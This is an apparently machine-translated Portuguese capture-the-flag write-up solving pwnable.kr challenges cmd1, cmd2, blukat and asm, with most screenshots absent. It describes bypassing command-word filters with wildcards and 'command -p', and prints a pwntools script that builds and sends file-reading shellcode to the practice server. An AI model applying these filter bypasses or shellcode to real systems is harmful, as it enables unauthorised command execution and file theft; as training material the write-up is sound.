Solução da tarefa com pwnable.kr cmd1, cmd2, asm, blukat. Ignorar a filtragem no Linux. Escrevendo shellcode com pwntools

imagem

Neste artigo, veremos como ignorar um filtro leve, entender como escrever um shell usando o pwntools e também resolver várias tarefas do site pwnable.kr .

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Solução da tarefa cmd1


Clicamos no ícone com a assinatura cmd1 e informamos que precisamos conectar via SSH com a senha guest.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

imagem

Vamos dar uma olhada no código fonte.

imagem

Tudo é muito simples: passamos o comando para o programa e ele é executado na linha de comando, mas primeiro filtra as palavras flag, sh, tmp. Filtra o sinalizador, mas não o fla *.

imagem

Entregamos a bandeira e conseguimos mais um ponto.

Solução da tarefa cmd2


Clicamos no ícone com a assinatura cmd2 e somos informados de que precisamos conectar via SSH com a senha do trabalho cmd1.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

imagem

Vamos dar uma olhada no código fonte.

imagem

Parece cmd1, mas um filtro mais complexo. Filtra novamente o sinalizador, mas não filtra fla *. Tudo é complicado pela filtragem de barra, mas podemos executar / bin / cat como comando -p cat.

imagem

Entregamos a bandeira e ganhamos pontos.

Solução de trabalho Blukat


Clicamos no ícone com a assinatura blukat e informamos que precisamos conectar via SSH com a senha de convidado.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

imagem

Vamos dar uma olhada no código fonte.

imagem

Portanto, um arquivo com uma senha é aberto aqui, briga com a chave e exibe uma bandeira. Aqui está apenas um arquivo com uma senha. Se você ler um arquivo com uma senha, ele nos exibirá o texto do erro. De fato, o erro é a senha ... Como o arquivo é legível pelo grupo, estamos nesse grupo.

imagem

imagem

Entregamos a bandeira e ganhamos três pontos.

Asm job solution


Clicamos no ícone com a assinatura asm e somos informados de que precisamos nos conectar via SSH com a senha guest.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

imagem

Eles nos deixaram um leia-me, leia-o.

imagem

Portanto, devemos enviar um código de shell que leia o arquivo de sinalizador para a porta 9026.

imagem

Ótimo. Usamos pwntools, definimos parâmetros para conexão e arquitetura.

from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' r.interactive() 

Para compilar o shell, usaremos o módulo shellcraft. Como o shellcode funcionará:

  1. Colocamos na pilha uma linha - o nome do arquivo.
  2. Abra o arquivo com o nome na parte superior da pilha (registro rsp).
  3. Como a função open retornará o descritor de arquivo aberto no registro rax - o primeiro parâmetro a ser lido, leremos 64 bytes na pilha; portanto, o registro rsp será o segundo parâmetro.
  4. Agora, escrevemos na saída padrão (descritor 1) uma flag que fica no topo da pilha (registrador rsp).
  5. Nós coletamos nossa concha e enviamos.

 from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64) shell = asm(payload) r.send(shell) r.interactive() 

imagem

Entregamos a bandeira e ganhamos 6 pontos. Vejo você no próximo artigo, onde consideraremos a vulnerabilidade complexa Use After Free.

Estamos em um canal de telegrama: um canal no telegrama .

Source: https://habr.com/ru/post/pt462091/


All Articles